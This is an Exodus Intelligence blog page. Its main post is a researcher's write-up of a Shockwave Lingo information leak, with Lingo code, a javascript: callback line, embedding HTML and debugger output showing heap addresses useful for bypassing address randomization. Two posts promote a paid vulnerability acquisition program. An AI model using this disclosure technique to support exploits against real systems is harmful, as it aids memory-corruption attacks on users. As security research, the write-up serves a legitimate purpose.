exodus

Adobe Shockwave and Introspection

by

From Wikipedia:
    In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime.

These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application’s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.

In this post I’d like to share a very trite example of an information leak I ran across while poking around with Adobe’s Shockwave Player.

Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the Lingo programming language which allows a developer to embed scripting code to perform a multitude of tasks via the Lingo API.

Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I’ll demonstrate a potentially nasty side effect that can result.

As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:

>>> a = "hihi"
>>> hex(id(a))
'0x22c83e0'
>>>

For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.

Consider the following Lingo code:

on startMovie
  x = window("stage").movie
  trace(x)
end

When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:

-- <Object _movie 2 b50244>

When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:

gotoNetPage("javascript: void ( disclose('" & x & "') );")

The HTML I used to embed the Shockwave file and to display the object properties looks like this:

<html>
<script language="javascript">

function disclose(x) {
alert(x);
}
</script>


<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
 ID=test width=600 height=600 VIEWASTEXT>
<param name=src value="test.dir">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=none>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
</embed>
</object>
</body>
</html>

When this is executed in a browser, our alert fires and displays the string:

This address can be verified by attaching a debugger to the browser process and inspecting that address:

0:022> !address 0x3db01fc
  03db0000 : 03db0000 - 00102000
     Type     00020000 MEM_PRIVATE
     Protect  00000004 PAGE_READWRITE
     State    00001000 MEM_COMMIT
     Usage    RegionUsageHeap
     Handle   00150000
0:022> !heap -p -a 0x3db01fc
   address 03db01fc found in
   _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
     03db0018 20000 0000  [0b]   03db0020    100000 - (busy VirtualAlloc)

Here we can see the address is in the heap and is part of an allocation of size 0x100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a presentation at CanSecWest in 2011.

What is interesting to note is that the address of the “_movie” object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is always placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:

0:022> u poi(0x03db0020+0x10) L3
IML32!Ordinal2064+0x6b70:
6907d880 8b4c2404        mov     ecx,dword ptr [esp+4]
6907d884 8b41fc          mov     eax,dword ptr [ecx-4]
6907d887 8b5014          mov     edx,dword ptr [eax+14h]

The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.

That’s it… I ran across this “intended functionality” some time ago, but didn’t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed.

—
Aaron Portnoy
@aaronportnoy

EIP August Incentives

by

The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions.

That number might sound low, but it is no secret that we are a little more particular in what we pursue, as we are actually exploiting each acquisition. We also are looking to make the largest impact possible, by only pursuing vulns affecting common, and widely deployed software. To counter this selectiveness, we are paying our researchers almost double what is offered at similar programs, as we value the information, and the researchers.

Another notable difference in our program, is that we are striving for a much more appropriate turn around in our analysis (10 days maximum) and we promote interaction and communication with our researchers.

The purpose of this blog is not only to boast about our program, but to notify the research community, that we are planning on boosting our purchasing power for the month of August by the following factors:

    • Price Match Guarantee

We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients

 

 

    • Charitable Donation Matching

We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)

 

 

    • Researcher Appreciation Multiplier

All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus

 

We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.

 

Announcing the Exodus Intelligence Program

by

We are excited to announce that the Exodus Intelligence Program is now accepting submissions!

The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.

All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.

Some of the benefits for researchers participating in the EIP include a 10 business day decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.

As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).

One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but likely to be exploited. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.

There is a FAQ available on the EIP website, but if you have any specific questions feel free to e-mail us at eip@exodusintel.com (PGP).

For more generic questions or press inquiries, please use info@exodusintel.com (PGP).

 

Posted by: Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards

Intelligence

Support

Company

Copyright 2021 Exodus Intelligence